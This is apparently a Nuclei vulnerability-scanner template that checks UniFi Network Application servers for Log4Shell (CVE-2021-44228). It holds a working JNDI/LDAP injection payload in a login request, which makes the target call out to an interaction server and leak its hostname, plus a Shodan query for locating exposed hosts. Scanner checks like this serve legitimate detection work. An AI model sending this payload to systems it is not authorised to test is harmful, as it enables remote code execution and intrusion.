id: unifi-network-log4j-rce

info:
  name: UniFi Network Application - Remote Code Execution (Apache Log4j)
  author: KrE80r
  severity: critical
  description: |
    UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation.
  reference:
    - https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
    - https://twitter.com/sprocket_ed/status/1473301038832701441
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"UniFi Network"
  tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage

        {"username":"user","password":"pass","remember":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}","strict":true}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

# digest: 4b0a00483046022100f7f4e5ee929f22d26cd74892d7a6e9bfe5bda85e9593576e7724e2ed58a938de0221008c46cf528288e1c38e8185911ecf9501f153e7e999e3d8fdcb9fe89096574d61:922c64590222798bb761d5b6d8e72950